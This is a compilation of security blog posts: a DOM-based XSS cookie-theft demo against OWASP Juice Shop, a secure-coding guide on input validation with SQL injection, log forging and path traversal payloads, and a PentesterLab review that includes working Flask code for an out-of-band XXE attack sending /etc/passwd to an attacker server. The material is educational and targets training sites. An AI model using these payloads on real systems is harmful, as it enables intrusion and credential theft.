Demonstrating Reflected versus DOM Based XSS

In my employment, I am responsible for making sure developers produce secure code, and security education is a key part of reaching this goal.  There are many ways that one can approach security education, but one thing that I have found is that developers really appreciate seeing how attacks are performed and exploited in practice, so hacking demonstrations and workshops have so far been a hit.

In doing these demonstrations, I have found two intentionally insecure test sites that have very similar cross site scripting (XSS) vulnerabilities – Altoro Mutual and OWASP Juice Shop. In fact, on the surface the vulnerabilities look identical, but under the hood they are different: Altoro Mutual has a reflected XSS whereas the Juice Shop has DOM-based XSS. It turns out that DOM-based XSS is much more convenient to demonstrate in a corporate environment for a few reasons, and in general more favourable to an attacker.

In this blog, I explain why and show you how to build a really cool demo of exploiting the OWASP Juice Shop DOM-based XSS. You will need a malicious server for the demo, but I have the code and a sample server all ready for your convenience. The demo uses the malicious server to steal the victim’s cookie, and from there we are able to retrieve his password. Full details below.

Background

If you are not familiar with XSS, this section is for you. Everyone else, skip to the good stuff below.

XSS is when attacker can have his own JavaScript executing from somebody else’s website, and in particular from one or more victim user browsers.

The most famous XSS attack that I know of is the “Samy is my Hero” MySpace worm.  Although not as malicious as it could have been, Samy Kamkar created a script on MySpace that would send Samy a friend request and copy the script on the victim’s MySpace profile, along with displaying the string “but most of all, samy is my hero” on their profile. Within 20 hours, Samy had over one million friend requests.

The Samy worm was a persistent XSS, which means the script was permanently stored in the database. Persistent XSS vulnerabilities are the worst kind because everyone becomes vulnerable just by visiting the site.

Two other XSS types are reflected and DOM-based, which you will learn about in good detail by reading this blog. These are both less severe than persistent because the victim needs to be tricked into hitting the vulnerability (i.e. social engineering), but we will see that the consequences can be pretty bad for those who fall victim.  I have not seen any comparison of the severity of the two, but below I make the argument that DOM-based is more serious than reflected.

The Two Vulnerabilities

Let’s start with Altoro Mutual. In the search bar, you can type a script, for example a simple alert(“hello”) surrounded by <script> open and close tag:altoro_searchUpon hitting enter, you might see that the script executes (reflected XSS):altoro_mutual_xssHowever, you also might not see this. For example, if you try running it in a corporate environment, then the company proxy might have stopped it (one of the problems I ran into). If you use Chrome, you might have found that Chrome blocked it (one of the problems that the audience ran into when trying it — see screenshot below). There are workarounds for both cases, but it blunts the point of the severity of the issue when it only works in special cases.chrome_blocks_reflected.pngNow let’s try the exact same thing in OWASP Juice Shop. Type in your script in the search bar:juice_searchUpon hitting enter, I’m quite sure you will see this (DOM-based XSS):juice_xss In my case, neither the corporate proxy nor Chrome blocked it. There is a good reason for that.

Looking Closer

Let’s first confirm that the Altoro Mutual vulnerability is really reflected XSS and the OWASP Juice Shop is really DOM-based. We do that by sending communications through your favourite intercepting proxy. For Altoro Mutual, it looks like this:reflected_altoroWe see that the script entered in the search bar was reflected back as part of the html.
Now do the same with the Juice Shop:dom_juice_shopIt was not reflected back.

You can look further. If you open up your browser developer tools, you will see that the search value gets put into the html via client-side JavaScript. Inside the default Juice Shop html there is an input form which contains:

ng-model="searchQuery"

The ng-model is AngularJS functionality. AngularJS by default escapes content to prevent XSS, unless you code your JavaScript in a really dumb way, which was intentionally done for the Juice Shop:

r.searchQuery = t.trustAsHtml(e.search().q)

The trustAsHtml is an Angular method that does not do the default escaping.

Corporate proxies and browsers (Firefox currently does not) can easily block reflected XSS by checking whether the string sent contains a script and looking to see if the exact same string comes back. They can stop the hack as it is happening.

The same protection does not happen for DOM-based XSS. The attack happens entirely in the browser, which prevents corporate proxies from stopping it. It is a lot trickier for a browser to stop this type of attack than it is for one to stop reflected XSS.

Demonstrating Real Exploitation of DOM-based XSS

Although one can explain to developers and business people the dangers of XSS, nothing is more convincing than a real demonstration, and the OWASP Juice Shop is perfect for this. In our demonstration, we need a malicious server. I have created one for you that you can deploy in a couple minutes on Heroku: see github link. To speed things up, you can use my temporary server (to be taken down later).

In our demo, assume a user has logged into the OWASP Juice Shop. The user visits a malicious website that has a link promising free juice if you click it. Clicking the link triggers an XSS that takes the victim’s cookie and sends it to a “/recorddata” endpoint on the malicious server. From there, the attacker can hit a “/dumpdata” endpoint to display the captured cookies. The cookies contain JWTs, which when decoded, contain the MD5 hash of the user password (very dumb design, but I have seen worse in real code that was not intentionally insecure). Using Google dorking, the MD5 hash can be inverted to recover the victim’s password. Full details below.

First head over to the OWASP Juice Shop and click Login. From there, you can register. See Figure below:01_login_juiceFrom there you create the account of your victim user:02_create_accountNext, the victim logs in:03_victim_loginAll is fine and dandy, until somebody tells the victim of a website that offers free juice to OWASP Juice Shop customers. What could be better! The victim rushes to the site (for our temporary deployment, link is: https://frozen-crag-69213.herokuapp.com/freejuice):04_freejuiceUpon clicking the link, the DOM-based XSS is triggered. A nontechnical user would likely not understand that a script has executed from the malicious site. In fact, in this case, the script has taken the victim’s cookie and sent it to the malicious website. The malicious website has a “/recorddata” endpoint that records the cookie in a temporary file (a more serious implementation would use a database).05_link_clickedOur malicious server also has a “/dumpdata” endpoint for displaying all the captured cookies (here for our temporary server).06_retrieve_cookie
Inside the cookie is a JWT. Let’s copy that JWT into our clip board:07_copy_cookieAnd now head over to jwt.io where we can paste the token in and decode it:08_jwt_decodedAmazing! The username and password are in the cookie. But that’s not the real password, so what is it? Let’s Google it:09_google_dorkingAnd clicking the first link, we find out that it was the MD5 hash of the password. The real password is revealed in the link:10_get_password

Conclusion

I have found that rather than teach boring coding guidelines, developers much prefer to see security vulnerabilities and how they are exploited in practice. Once they learn the problems, they find a way to code them properly.  You know, developers are very good at using Google to find answers once they understand the problem they are trying to solve.

The OWASP Juice Shop is a great website for demonstrating security vulnerabilities, but in some cases you need to add your own parts to make the demo complete. In this blog, we provided the malicious server that executes a DOM-based XSS when a user clicks a link, which allows the attacker to recover the user’s password. The Juice Shop DOM-based XSS is much more convenient to demonstrate exploitation than the reflected XSS in Altoro Mutual.

For those familiar with CVSS for rating security vulnerabilities, the rating includes an attack complexity parameter to indicate whether special conditions need to exist for the attack to be successful. For reflected XSS, two special conditions were mentioned above: the victim’s browser would need to not defend against the attack (most browsers will stop it) and the victim needs to be in an environment where the attack would not be blocked. For DOM-based, it appears that there are no special conditions (browsers will not block the DOM-based attacks, and environment is irrelevant for this attack to work). Hence, DOM-based XSS are more favourable to attackers than reflected XSS, the difference being the complexity of pulling off the attack. Therefore, DOM-based XSS is more severe than reflect XSS, but less severe than persistent.

Advertisements

Secure Coding: Understanding Input Validation

Developers are often provided with a large amount of security advice, and it is not always clear what to do, how to do it, and how important it is. Especially considering that security advice has changed over time, it can be confusing. I was motivated to write this blog because the best guide I found on input validation is very dated, and I wanted to provide clear, modern guidance on the importance of the topic.  There is also the OWASP Input Validation Cheat Sheet as another source on this topic.

This blog is targeted to developers and Application Security leads who need to provide guidance to developers on best practices for secure coding.

Input validation the first line of defence for secure coding. There are many ways that a hacker will go after your software, and it would be naive to assume that you know all of them. The point of input validation is that, when done correctly, it will stop a number of attacks that you will not foresee. When it doesn’t completely stop them, it usually makes them more restricted or more difficult to pull off. Remember: input validation is not about stopping specific attacks, but instead a general defence for stopping any number of attacks.

Input validation is not hard to do, but sometimes it takes time to figure out what character set the data should conform to. This blog will be primarily focused on web applications, but the same concepts apply in other scenarios.

Below is guidance on how to do it, when to do it, and examples of how input validation might save you if you got other parts of the coding wrong. It must be emphasised that input validation is not a panacea, but when done correctly, it sure makes your application a lot more likely to resist a number of attacks.

What is input validation?

Hackers attack websites by sending malicious inputs. This could be through a web form or AJAX request, or by sending requests directly to your API with tools such a curl or python, or by using an intercepting proxy (typically burp, but other tools include zap and charles) which is somewhere in between the former two methods.

Input validation means to check on the server side that the input supplied by the user/attacker is of the form that you expect it to be. If it is not of the right form, then the data should be rejected, typically with a 400 http status code.

What is meant by right form? At the minimum, there should be a check on the length of the data, and the set of characters in the data. Sometimes, there are more specific restrictions on the data — consider some insightful examples below.

Example: phone number. A phone number is primarily digits, with a maximum of 15 digits. If you allow international numbers, then plus (‘+’) is a valid character. If the area code is in parentheses, then the parentheses are additionally valid characters. If you want to allow the user to enter dashes or spaces, then you can add those to the list of allowed character as well, though you don’t need to (front end developers can make it so that the user does not need to send such data). In total we have at most 15 different valid characters and at most 15 digits — this is your validation rule. Additionally, you should always have a limit on the total length of the string supplied (including parentheses, spaces, dashes, pluses) to stop malicious users from fiddling.

Example: last name. This one is more complicated, but a Google search gives us a pretty good answer. Importantly, you need to allow hyphens (Hector Sausage-Hausen); spaces, commas, and full stops (Martin Luther King, Jr.); and single quotes (Mathias d’Arras). See also the comments that identify extra characters that should be included if one wants to truly try to accept all international names, but it depends upon your application. As for length limit, if you really want to allow the longest names in the world, you can, but I would personally think a limit like 40 characters is sufficient.

Example: email address. Email addresses are examples where there character set is well defined, but the format is restricted. There are published regular expressions all over the web that tell you how to validate email addresses, but this one looks quite useful because it tells you how to do it in many different languages.

Example: a quantity. A common requirement for ecommerce applications is to allow the customer to choose some number of items. Quantities should be positive integers, and there should be some reasonable upper limit to how many the person can choose. For example, you might allow only the quantities 0, 1, 2, …, 99 and anything else is rejected.

There are two types of input validation strategies: white list and black list. The examples above are white list — we have said exactly what is allowed and anything else is rejected. The alternative approach, black list, tells what is not allowed and accepts everything else. White list validation is a general defence that is not targeted towards a specific attack, and can often stop attacks that you may not foresee. On the other hand, black list validation rules out dangerous characters for a specific attack that you have in mind. Black list should never be relied upon by itself — we will talk more about that in the next section.

When and how to do it?

Validation must happen on the server side, and should be done before you do anything else with the data.

It’s not unusual to see client side validation (for usability), but if you do not also validate on the server side (for security), then it will stop your kid sister and nobody else. Remember, web hackers do not need to run the same JavaScript code that you serve to them. Most of the time, they are going to use an intercepting proxy to modify the request after it leaves the browser but before it reaches the server. For example, see this video.  [Footnote: there are some edge cases where client side input validation makes sense for security, such as DOM based XSS, but these are advanced topics that are beyond the scope of this blog.]

What should be validated? Any data that you use that an attacker can manipulate. For web applications, this includes query parameters, http body data, and http headers. For emphasis, you don’t need to validate every http header — instead, only validate the ones that your application uses somewhere in the code. I’ve seen a number of cases where applications use http headers such as User-Agent without realising that an attacker could put anything he wants for such values. For example, with curl one would just use the -H option.

Validation should be done immediately, before anything else (including logging) is done with the data. I’ve seen cases where developers tried to validate strings that were formed by concatenating fixed values with user input. Because the validation happened on the result of the string concatenation, the validation routine had to be liberal enough to allow every character in the fixed string. But one of the characters in the fixed string was key to allowing the attacker to supply his own malicious input. Since the validation had to allow it when coded this way, a hack was trivial to pull off.

MVC frameworks such as .Net and Spring have good documentation on how to do input validation. For example, Microsoft has nice pages about input validation in various versions of ASP.NET MVC. Similarly, Spring has documentation and additional guidance can be found in various places.  In other cases, you might use a framework design specifically for data validation, or write custom validation methods.

Importantly, white list validation must always be done. Black list validation can supplement white list validation, but it cannot be relied upon by itself to stop an attack. The reason is that hackers are very good at finding ways around black list validation.

Yes, it is your responsibility

The diagram below depicts an example that I have seen a number of times, especially in microservices architectures.  System A receives data from the user, and passes it off to internal System B.  System B processes the data.  Where should input validation happen?

validate_internal_system

The developers of System A believe they are mainly acting as a proxy, and therefore the responsibility for input validation lies with System B.  On the other hand, the developers of System B believe they are getting data from an internal trusted source (System A), and therefore the responsibility for validating it lies with System A.  As a consequence, neither development team validates the data.  In the event that they get hacked, everyone has an excuse on why they didn’t do it.

The answer is that both are responsible for validating their input data.

System A needs to validate because otherwise it is vulnerable to various injection attacks when the data gets sent to system B, such as json injection or http header injection.  System B should validate their data because the muppets who wrote System A rarely do any type of meaningful validation on the data you process.  In summary, no matter where you are developing, you need to validate your input.  Don’t assume that somebody else is going to do it for you, because they won’t.

What about input sanitisation?

Sanitisation refers to changing user input so that it becomes not dangerous. The issue here is that what is dangerous depends upon the context in which it is used.

For example, suppose some user input is first logged and then later displayed to the user in his browser. In the context of logging, dangerous characters are new lines (ASCII value of 10) and carriage returns (ASCII value of 13) because they allow attackers to create a new line of your log file with anything he wants, an attack known as log forging (log forging discussed in more detail when we get to examples later). On the other hand, when it is displayed to the user, the dangerous characters become those that can be interpreted by the browser to do something that is not intended by the web designer — the characters < > / and “ are the first that come to mind (normally we escape these characters).

It is not unusual for developers to get this wrong.  I have seen more than once the use of the OWASP Java HTML Sanitizer to attempt to sanitise data written to the log.  Wrong tool, wrong context.

Because sanitisation depends upon context, it is not desirable to try to sanitise inputs at the beginning in such a way that they will not be dangerous when later used. In other words, input sanitisation should never be used in replace of input validation. Input validation should always be done.  Thus, even if you get the sanitisation wrong (e.g. see previous paragraph), input validation will often save you.

Note also that the concept of input sanitisation is making us think in a black list approach rather than a white list approach, i.e. we are thinking about what characters might be harmful in a specific context and what to do with them. This is another reason why input sanitisation should not displace input validation. Even very good developers  have learned this the hard way.

The bottom line is that white list input validation is a general defence, whereas input sanitisation is a specific defence. General defences should happen when input comes in (at “source”), specific defences should happen when the data is later used (at “sink”). Never omit the general defence.

Examples

We have given the guidance, but now let’s justify it with examples. Let’s see how input validation can often save us when proper coding defences are lacking somewhere else in the code base. An important takeaway here is that even though input validation does not stop everything, it certainly does stop a lot, and makes other attacks a lot harder. Given how easy it is to perform the validation, the bang-for-your-buck-analysis dictates to always do it.

Example: SQL injection

SQL injection vulnerabilities are most often due to forming SQL queries using string concatenation/substitution with user input. A typical example looks like this (Java):

String query = 'SELECT * FROM User where userId='' + request.getParameter('userId') + ''';  // vulnerable

To get all users, the attacker can send the following for the userId parameter: xyz’ or 1=1 –.
That malicious input will change the query to:

SELECT * FROM User where userId='xyz' or 1=1 -- '

The attacker can do much more than this with more clever inputs, including fetching other columns or deleting the entire database. However, sticking to the simple example, notice the tools the attacker is using: the single quote to end the userId part of the query, the white spaces to add other statements, the equal to make a comparison that is always true, and the double dash to escape the remaining part of the query.

The proper defence against SQL injection, which should always be done, is either prepared statements or parameterised queries. However, let’s consider what would happen if the developer had validated the input but still formed the query with string concatenation.  In this case, the code might look like:

// This code is still wrong, but it is better than above
String userId = request.getParameter('userId');
if ( !validateUserId( userId ) )
{
    // Handle error condition, return status code of 400
    ...
}
String query = 'SELECT * FROM User where userId='' + userId + '''; // <--- Don't do this!

For data types like user ids, phone numbers, quantities, email addresses, and many others, input validation would not have allowed the single quote, which has already stopped the attack. However, for a field like a last name, a single quote must be allowed or else O’Malley will throw a fit.

Still, input validation would not have allowed the equal character in the last name and some other characters that attackers like to use. Additionally, limiting the number of characters that an attacker can provide (example: 40 for last name) would also impede the attacker. Truthfully, a good hacker would still succeed in getting an injection, but you might have stopped the script kiddie. The lesson here is: Just because you validated the data does not mean that you can be sloppy elsewhere.

A great website telling how to code sql queries in various languages is Bobby Tables. They have a nice comic, but unfortunately the punch line is wrong:

xkcd

As the website, correctly says on the about page: The answer is not to “sanitize your database inputs” yourself. It is prone to error. Instead, use prepared statements or parameterised queries.

Example: Log forging

A well written application should have logging throughout the code base. But logging user input can lead to problems. For example (C#):

log.Info("Value requested is " + Request["value"]); // vulnerable

Log files are separated by newlines or carriage returns, so if the value from the user contains a newline or a carriage return, then the user is able to put anything he wants into your log file, and it will be very hard for you to distinguish between what is real versus what was written by the attacker. If you did proper validation of your input, there are not many cases where one would allow newlines and/or carriage returns, so the validation would usually save you.

For a good technique to prevent log forging, see this nice blog by John Melton (the same concept works regardless of language).

Example: Path manipulation

Many web applications these days allow the user to upload to or read something from the server file system. It is not unusual for the file name to be formed by concatenating a fixed path with a file name provided by the user (C#):

String fn = Request["filename"]; // fn could have dangerous input
String filepath = USER_STORAGE_PATH + fn;
String[] lines = System.IO.File.ReadAllLines(filepath); // vulnerable

The above example does not validate the user provided filename, but normally a filename would only allow alphanumeric characters along with the ‘.’ for file extensions.

The risk here is that a user provides a file name of something like: ../../../system_secrets.txt (fictional file name). This allows the attacker to read the system_secrets.txt file which is outside the USER_STORAGE_PATH path. Note that the input validation would not have prohibited the use of ‘.’ , but it would have prevented from using the forward or backward slash, which is key to his success.

More generally, I don’t recommend that users should be able to provide the direct file names to access, and storage should be on a separate system. But even if you go against that advice, proper input validation will save you from path manipulation.

Example: Server side request forgery

This is a nice example because not many people know what it is, but it has recently become quite a nice tool that hackers have added to their toolbox.

Consider that your web application might initiate an http request, where the destination of that request is somehow formed from user input. One might think that making the http request from the server is benign, because it is no different from the user making a similar request from his browser. But that reasoning is wrong, because the request from your server has access to your internal network, whereas the user himself should not.

An example is insightful. The website InterviewCake teaches developers how to solve difficult job interview questions. From the website, you can actually write code in a number of different languages and run it, which runs in an AWS environment. It was then too easy for Christophe Tafani-Dereeper to write some simple python code on InterviewCake that reveals AWS security credentials from the private network that the application was hosted on:

aws_exploit

This type of attack is common in AWS environments: learn about AWS Instance Metadata from Amazon.

Of course, allowing users to run arbitrary code in an environment that you host is extremely dangerous and is hard to defend against. More often we see cases like the following from StackOverflow (PHP):

php_ssrf

In the above example, the server will get the url of a file from a query parameter.  It assumes that the file type is either gif, png, or jpg, and then it servers that content to the client.  The only validation check is that the protocol is http (or https).

Although it appears to restrict to gif, png, or jpg files, the default is to just read the content regardless of type. An attacker could thus request anything he wants, and the command is executed with server privileges.

To fix it, the server needs to validate that the incoming url is allowed to be accessed by the user. This can be done by verifying that the url matches a white list of allowed URLs. In this case, white list validation defeats the attack completely (when implemented properly), and no other defence is needed.

Example: Cross site scripting

Cross site scripting (XSS) is an old vulnerability that is still a major problem today. There are three types of XSS, but we’re not going to that level of detail. XSS happens when untrusted input (typically user input) is interpreted in a malicious way in another user’s browser. Let’s look at a simple example (Java JSP):

<% String name = request.getParameter("name"); %>
Name provided: <%= name %>

If the input provided contains the query parameter

malicious_javascript

then that JavaScript will execute in a user’s browser. This type of XSS (reflected XSS) is typically exploited by user A emailing a link to user B with the malicious JavaScript embedded in it.

The proper defence for XSS is to escape the untrusted input. In JSP, this can be done with the JSTL <c:out> tag or fn:escapeXml(). But this needs to happen everywhere untrusted data is displayed, and missing one place can result in a critical security vulnerability.

Similar to other examples, input validation will often save you in the event that you missed a single place where the output needs to be escaped. As noted above, the characters < > / and ” are particularly dangerous in the context of html. These characters are rarely part of a while list of allowed user input.

Despite the dire warnings above, it is great to know that there are frameworks like Angular that escape all inputs by default, thus making XSS extremely unlikely to happen in that framework. Secure by default — what a novel concept.

Conclusion

White list input validation should always be done because it prevents a number of attacks that you may not foresee. This technique should happen as soon as data comes in, and invalid input should be rejected without further consideration. Input validation is not a panacea, so it should be coupled with specific defences that are relevant to the context in which the data is used. Input validation should be applied at the source, whereas the other specific defences are applied at the data sinks.

A Review of PentesterLab

stickers

After completing my fourth badge on PentesterLab, I have enjoyed it so much that I thought I would pass on the word on what a great learning resource it is. If I had to summarise it in one sentence, I would say an extremely well written educational site about web application pentesting that caters to all skill levels and makes it easy to learn at an incredibly affordable price (US$20 per month for pro membership, and there is no minimum number of months or annoying auto-renewal in signup). If you are uncertain whether it is for you, start by checking out the free content.

Without pro membership, you can still download many ISOs and try the exercises yourself locally. However with the pro membership will you get more content and you do not have the overhead time of downloading ISOs, spinning up VMs, and related activities.

This blog is about what you will get out of it and what you should know going in. In my opinion, the best way to do justice in describing PentesterLab is to talk about some of the exercises on the site. So at the end of the blog, I dive down into the technical fun stuff, describing three of my favourites. If none of those exercises pique your interest, then never mind!

For the record, I have no connection to the site author, Louis Nyffenegger. I have never met him, but I have exchanged a few emails with him in regard to permission to blog about his site. My opinion is thus unbiased — my only interest is blogging about things that I am passionate about, and PentesterLab has really worked for me.

What you can expect to learn

A few examples of what you can expect to learn from PentesterLab:

  • An introduction to web security, through any of the Web for Pentesters courses or Essential badge or the Introduction badge or the bootcamp.
  • Advanced penetration testing that often leads to web shells and remoted code execution, in the White badge, Serialize badge, Yellow badge, and various other places. Examples of what you get to exploit include Java deserialization (and deserialization in other languages), shell shock, out of band XXE, recent Struts 2 vulnerabilities (CVE-2017-5638), and more.
  • The practical experience of breaking real world cryptography through exercises such as Electronic Code Book, Cipher Block Chaining, Padding Oracle, and ECDSA. Note: Although the number of crypto exercises here cannot compete with CryptoPals (which is exclusively about breaking real world cryptography), at least at PentesterLab you get certifications (badges) as evidence of your acquired skills.
  • Practical experience bypassing crypto when there is no obvious way to break it, such as in API to shell, Json web token, and Jason web token II.
  • Practical experience performing increasingly sophisticated man-in-the-middle attacks in the Intercept badge.
  • Fun challenges that will really make you think in the Capture the flag badge.

The author is updating the site all the time, and it is clear that more badges and exercises are on the way.

In addition to learning lots of new attacks on web applications, I can also say that I personally picked up a few more skills that I was not expecting:

  • Learning some functionality of Burp suite that I had not known existed. I thought I knew it well before I started, but it turns out that there were a number of little things that I did not know, often picked up by watching the videos (only available via pro membership).
  • Learning more about various types of encoding and how to do it in the language I choose (in my case, Python). The Python functionality I needed was not given to me from the site, but I was drawn to learn it as I was trying to solve various challenges. For example, I now know how the padding works in base64 (which is important because not all of the encodings I got from challenges were directly feedable into Python), and I learned about the very useful urllib.quote.
  • Getting confidence in fiddling with languages that I had little experience in, such as PHP and Ruby.

What you should know going in

What you need depends upon what exercises you choose to do, but I expect most people will be like me: wanting to get practical experience exploiting major vulnerabilities that don’t always fall into the OWASP Top 10. For such people, I say that you need to be comfortable with scripting and fiddling around with various programming languages, such as Ruby, PHP, Python, Java, and C. If you haven’t had experience with all of these languages, that’s okay: there are good videos (pro membership) that help enormously. The main thing is that you need to be not afraid to try, and there might be sometimes where you might need to Google for an answer. But most of the time, you can get everything you need directly from PentesterLab.

I personally like to use Cygwin on Windows and/or a Linux virtual machine. The vast majority of the time, I was able to construct the attack payload myself (with help from PentesterLab), but there are a few exercises such as Java Deserialization where you need to run somebody else’s software (in this case, ysoserial). Although that comes from very reputable security researchers, I being ultra-paranoid prefer to run software I don’t know on a virtual machine rather than my main OS.

If you are an absolute beginner in pentesting and have no experience with Burp, I think that you will be okay. But you will likely depend upon the videos to get you started. The video in the first JWT exercise will introduce you to setting up Burp and using the most basic functionality that you will need. By the way, I have done everything using the free version of Burp, so no need to buy a licence (until you’re ready to chase bug bounties!)

Quality of the content

For each exercise there is a course with written material, an online exercise (pro membership only — others can download the ISO), and usually there are videos (pro members only).

You can see examples of the courses in the free section, and I think the quality speaks for itself. With pro membership, you get a lot more of this high quality course material. The only thing that I would suggest to the author is that including a few more external references for interested readers could be helpful. For example, the best place to learn about Java deserialization is Foxgloves security, so it would be great to include the reference.

The videos really raise the bar. How many times have you struggled through watching a Youtube video showing how to perform an attack with frustration of the presentation? You know, those videos where the author stumbles through typing the attack description (never talking), with bad music in the background? Maybe you had to search a few times before finding a video that is reasonably okay. Well, not here — all the videos are very high quality. The author talks you through it and has clearly put in a lot of thought into explaining the steps to those who do not have the experience or background with the attack.

Last, the online exercises are perfect: simple and to the point, allowing us to try what we learned.

Sometimes the supporting content is enough for you to do an entire exercise, other times you have to think a bit. Many videos are spoilers — they show you how to solve the exercise completely (or almost completely), but it is usually best to try yourself before falling back to the videos: you won’t get more out of it than what you put into it.

Finally, I want to compare the quality of PentesterLab to some other educational material that I have learned a lot from:

  • OSCP, which is infrastructure security as opposed to the web application security from PentesterLab. OSCP is the #1 certification in the industry, and is at a very reasonable price. It also has top quality educational material. I learned a lot doing OSCP, but the problem is that I did not complete it. I ran out of time (wife and kids were beginning to forget who I was) to work on it. And despite having picked up so many great skills from enrolling, at the end of the day it never helped me land a pentester job close to my desired salary level. I guess I needed to just try harder. The great thing about PentesterLab is that it’s not an all or nothing deal: you will pick up certification (badge) after certification (badge) as you go along. In terms of quality comparison, I’d say PentesterLab material is on par with OSCP.
  • Webgoat is the go-to free application for learning about penetration testing. I played with it a few years ago and learned a fair amount. There were a few exercises that I did not know how to solve, and I was rather frustrated that the tool did not help me. For example, in one of the SQL injection exercises, I needed to know how to get the column names in the database schema in order to solve it (I want to understand rather than just sqlmap it). I really think the software should have provided me some guidance on that (I know how to do that now, thanks to PentesterLab). PentesterLab just provides a lot more guidance and support, and has a lot more content.
  • Infosec Institute in my experience has been a fantastic source of free information to help learn application security. It covers a wide variety of topics in very good detail. But it lacks the nice features you get with PentesterLab pro membership: videos, and the ability to try online without the overhead of fetching resources from other places to get set up.  If your time is precious, the US$20 per month is nothing in comparison to what you gain from PentesterLab pro.

What most amazes me is that just about all of the content here was primarily made by a single person. Wow.

Three example exercises I really liked

Exercise: Play XML Entities (Out of band XXE)

XXE is a fun XML vulnerability that can allow an attacker to read arbitrary files on the vulnerable system. Although many XXE vulnerabilities are easy to exploit, there are other times where the vulnerability exists but the file you are trying to read from the OS does not get directly returned to you. In such cases, you can try an out of band XXE attack, which is what the Play XML Entities exercise is all about.

In the course the author provides an awesome diagram of how it all works, which he explains in detail:

steps

(Diagram copyright Louis Nyffenegger, used with his permission).

Briefly, the attacker needs to setup by having his own server (“Attacker’s server” in diagram) that serves a DTD. The attacker sends malicious XML to the server (step 1), which then remotely retrieves the attacker’s DTD (steps 2-3). The DTD instructs the vulnerable server to read a specific file from the file system (step 4) and provide to the attacker’s server (step 5).

So to start out, you need your own web server that the vulnerable application will fetch a DTD from. In this case, you are a bit on your own on what server you are going to use. I personally have experience with Heroku, which lets you run up to 5 small applications for free.

PentesterLab shows how to run a small Webrick server (Ruby), but I’m more of a Python guy and my experience is with Flask. Warning: Heroku+Flask has been a real pain for me historically, but I now have it working so I just continue to go with that.

To provide a DTD that asks for the vulnerable server to cough up /etc/passwd, I did it like this in Flask:

@app.route('/test.dtd')
def testdtd():
    dtd = '''
    <!ENTITY % p1 SYSTEM "file:///etc/passwd">
    <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'https://contini-heroku-server.com/recorddata?%p1;'>">
    %p2;'''
    return dtd

The recorddata endpoint is another Flask route (code omitted) that records the /etc/passwd file retrieved from the vulnerable server (my DTD is essentially equivalent to the one from PentesterLab).

This is all fine and dandy except one thing: /etc/passwd is not the ultimate goal in this exercise. Instead, there is a hidden file on the system somewhere that you need to find, and it contains a secret that you need to get to mark completion of the exercise. So, a static DTD like this doesn’t do what I need.

At first, I was manually changing the DTD every time to reference a different file, then re-deploying to Heroku, and then trying my attack through Burp. I thought I would find the secret file quickly, but I did not. This was way too manual, and way to slow. What an idiot I was for doing things this way.

Then I used a little intelligence and did it the right way: Make the Flask endpoint take the file name as a query string parameter, and return the corresponding DTD:

@app.route('/smart.dtd')
def dtdsmart():
    targetfile=request.args.get('targetfile')
    dtd = '''
    <!ENTITY % p1 SYSTEM "file:///''' + targetfile + '''">
    <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'https://contini-heroku-server.com/recorddata?%p1;'>">
    %p2;'''
    return dtd

I was very proud of myself for this trivial solution. Never mind the security vulnerability in it!

Overall, the course material gives a great description on what to do, but sometimes you have to bring in your own ideas to do things a better way.

Exercise: JWT II

Json Web Tokens (JWT) are a standard way of communicating information between parties in a tamper-proof way. Except when they can be tampered.

In fact, there is a fairly well known historical vulnerability in a number of JWT libraries. The vulnerability is due to the JWT standard allowing too much flexibility in the signing algorithm. One might speculate why JWTs were designed this way.

PentesterLab has two exercises on bypassing JWT signatures (pro members only). The first one is the most obvious way, and the way you would most likely pull it off in practice (assuming a vulnerable library). The second is a lot harder to pull off, but a lot more fun when you succeed.

In JWT II, your username is in the JWT claims, digitally signed with RSA. You need to find a way to change your username to ‘admin’, but the signature on it is trying to stop you from doing that.

To bypass the signature, you change the algorithm in the JWT from RSA (an asymmetric algorithm) to HMAC (a symmetric algorithm). The server does not know that the algorithm has changed, but it does know how to check signatures. If it is instructed to check the signature with HMAC, it will do so. And it will do it with the key it knows — not an HMAC key, but instead the RSA public key.

In this exercise, you are given the RSA public key, encoded. At a theoretical level, exploiting it may seem easy: just create your own JWT having username ‘admin’, set the algorithm to HMAC, and then sign it by treating the RSA public key like it is an HMAC key.

In practice, it’s not that simple. When I was attempting this, I was completely bothered by not knowing how to treat an RSA key as an HMAC key. I attempted in Python, fiddling around a few different ways for inserting the key to create the signature. None of them worked.

I thought to myself that this depends so much on implementation, and surely there must be a better way of going about things than random trials. Hmmmm, somehow the author must have left a hint on how to encode it so we can solve the exercise…

light-bulb16-177x240

Exercise: ECDSA

According to stats on the site, the ECDSA looks to be the most challenging exercise. I decided to go after it because I was once a cryptographer and I was excited to see an exercise like this.

Honestly, most people will not have the cryptographic background to do an exercise like this, particularly because ECDSA is in the capture the flag badge, so there is no guidance. You are on your own, good luck! But I’ll drop you a hint.

In the exercise, they give you the Ruby source code, which is a few dozen lines. The functionality of the site allows you to register or login only. Your goal is to get admin access.

From the source code you will see that it digitally signs with an ECDSA private key a cookie with your username in it. To check the cookie, it verifies the signature with the public key.

The most surprising thing here is that you don’t even get the public key (nor the private key, of course). You have to somehow find a way to create a digitally signed cookie with the admin username in it, and you have absolutely nothing to go by other than the source code.

I promised you a hint. Look for a prominent example of ECDSA being broken in the real world.

Concluding Remarks

I think it is clear that I really, really like this website and highly recommend it. Having said that, it is always better to get more than one opinion, and for that reason, I invite other users of PentesterLab either to comment here or on reddit about their experience with the website.

Speak up people!

Why I left cryptography

This blog is a follow-up on my previous blog, How I became a cryptographer, which describes the very long, intense journey I took to get to the state where I could make a living publishing research in cryptography.  A few people have asked why I left, so here I give my reasons.  This blog may be useful to people who are uncertain whether they want to make a similar journey.

Feeling disconnected from the real world

The biggest reason why I left is that I felt cryptography research was more focused on the mathematics than it was on the real world applicability.  As much as I love the mathematics, algorithms, and puzzle solving, I wanted to work on research that mattered.  But the longer I stayed in cryptography, the more disconnected I felt from the real world.

Truthfully, the restrictions I put on myself limited me: I did not want to leave Sydney and I did not want to spend the majority of my time teaching.  Had I not kept those restrictions, I could have had more chances.  With them, the only job that I found to keep me going was to be a PostDoc research fellow.

As a PostDoc research fellow, you are typically paid by a government research grant that may last a couple years.  When you are paid by such a grant, you need to deliver results that are in agreement with that grant so that in the future, you have evidence that can be used to apply for similar grants to keep you going.  And that cycles.

If you are really good and daring, you might stray from the research grant topic once in a while to see if you can make an impact somewhere else.  But your time for that is very limited.

